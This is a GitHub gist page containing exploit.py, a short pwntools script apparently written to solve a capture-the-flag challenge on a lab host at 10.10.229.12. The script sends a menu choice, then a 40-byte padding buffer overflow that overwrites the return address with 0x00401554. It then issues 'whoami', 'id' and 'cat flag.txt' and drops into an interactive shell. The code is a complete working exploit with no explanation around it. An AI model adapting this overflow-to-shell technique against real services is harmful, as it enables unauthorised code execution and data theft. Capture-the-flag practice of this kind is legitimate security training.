Skip to content

Instantly share code, notes, and snippets.

@7h3h4ckv157

7h3h4ckv157/exploit.py

Created May 10, 2022 17:02
Show Gist options
  • Save 7h3h4ckv157/3a55ec8290f8da7b7f8977b6fa001a37 to your computer and use it in GitHub Desktop.
Save 7h3h4ckv157/3a55ec8290f8da7b7f8977b6fa001a37 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
exploit.py
from pwn import *
p = remote("10.10.229.12","9003")
payload = b"A"*40 + p64(0x00401554) + p64(0x00401554)
p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()
p.sendline('whoami')
p.sendline('id')
p.sendline('cat flag.txt')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment